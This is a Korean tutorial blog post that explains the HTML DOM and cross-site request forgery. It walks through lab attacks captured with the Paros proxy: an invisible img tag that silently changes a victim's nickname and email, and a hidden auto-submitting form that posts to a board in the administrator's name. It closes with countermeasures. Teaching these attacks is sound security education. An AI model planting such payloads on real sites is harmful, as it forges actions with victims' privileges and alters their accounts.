Knowledge/웹보안 / / 2016. 9. 9. 00:13

웹보안(csrf,HTML DOM)

반응형

웹보안



HTML DOM



DOM(Document Object Model)



◆웹 브라우저에 의해 표현되는 지원들을 객체로 구성하여 스크립트에 의해 접근이나 조작이 

   가능하도록 만든것을 말한다.


◆트리 구조로 되어 잇으며 구성요소와 속성, 내용을 갖는다.



구성도





DOM 사용예






url 에다가 파라미터를 집어넣어서 웹사이트에 표시되게 한것입니다.


이렇게 xxs를 이용하여 DOM 를 읽고 쓸수 있으며 페이지를 조작할수 있습니다.




이렇게 dom에 스크립트 언어를 작성해서 이미지를 띄울수도 있습니다.






CSRF



CSRF(Cross Site Request Forgery)



사이트에서 제공하는 기능을 신뢰된 사용자의 권한으로 요청하도록 하는 공격 입니다.(공격자의

악성코드를 읽은 victim은 자신도 모르게 Request를 서버로 보내게 되고, 서버는 victim의

 권한으로 Request에 대한 처리를 하게됨)



CSRF의 특징


Victim에 의해 Request가 발생하기 때문에 공격자의 IP 추적이 어렵다.


XSS와 달리 자바스크립트를 사용할 수 없는 상황에서도 공격이 가능하다.



CSRF의 공격 조건



공격자는 사이트에서 제공하는 해당 기능의 Request/Response를 분석해야 합니다.


사이트가 Session Token만으로 해당 기능의 권한을 인증하고 있을때 가능합니다.







CSRF 공격 방법









CSRF 회원정보 수정하기




정보수집


공격자 입장에서 정보를 수입해야 하기 때문에 paros툴을 이용해서 회원정보를 수정할때 


어떤 형식으로 바뀌는지 정보를 수집해야 합니다.





코드작성


<img src="http://192.168.243.136/member/member_modify_ok.asp?

exec=modify&nickname=Hack&email=Hack@naver.com" width='0'hight='0'>


이렇게 위에서 정보를 수집한 것으로 악성코드를 작성하시면 됩니다.

(get메소드는 img 테그로 post는 form 테그로 작성하시면 됩니다.)






결과



A 라는 사용자가 aaa 라는 제목의 게시글을 클릭했을시 A 라는 사용자의 닉네임하고

 이메일이 바뀌는것을 알수 있습니다.



CSRF 자동 글쓰기




회원수정 하는것과 똑같이 paros툴을 이용하여 자신이 글쓰기를 해서 


어떻게 바뀌는지 알아보겠습니다.






코드작성


<form id="board" method='POST' action='board_write_ok.asp' eenctype="multipart/form-data">

<input type='hidden' name='name' value='관리자'>

<input type='hidden' name='password' value='1234'>

<input type='hidden' name='email' value='att@att'>

<input type='hidden' name='subject' value='공격자다'>

<input type='hidden' name='tag' value='T'>

<input type='hidden' name='content' value='히히'>

</form>

<script>document.getElementById("board").submit();</script>



csrt 라는 제목으로 올라와있는 게시글을 클릭해보겠습니다.


작성한 코드대로 게시글이 완성되어습니다.







CSRF 대응책


XSS 취약점이 없도록 확인합니다.


웹 클라이언트로부터 전달된 세션 토큰의 진위성을 확인해야 합니다.


단순한 Session Token만을 이용한 권한 부여를 하지않습니다.


GET방식보다는 POST방식을 사용을 권장하나 POST방식으로 사용하더라도

보안성이 크게 향상되진 않습니다.

(post 방식을 사용하는 경우에는Form을 이용하여 공격이 가능합니다.

코드

<FORM id=“myForm” METHOD=‘POST’ action=‘aaa.asp’>

                  <INPUT type=‘hidden’ name =‘aaa’ value=‘111’>

                  <INPUT type=‘hidden’ name=‘bbb’ value=‘222’>

 </FORM>

 <SCRIPT>

                     document.getElementById(“myForm”).submit();

</SCRIPT>


Form 의 Reference를 얻어오는 방법입니다.

document.Forms[]
document.getElementById()

document.getElementByName()

)











반응형
  • 네이버 블로그 공유
  • 네이버 밴드 공유
  • 페이스북 공유
  • 카카오스토리 공유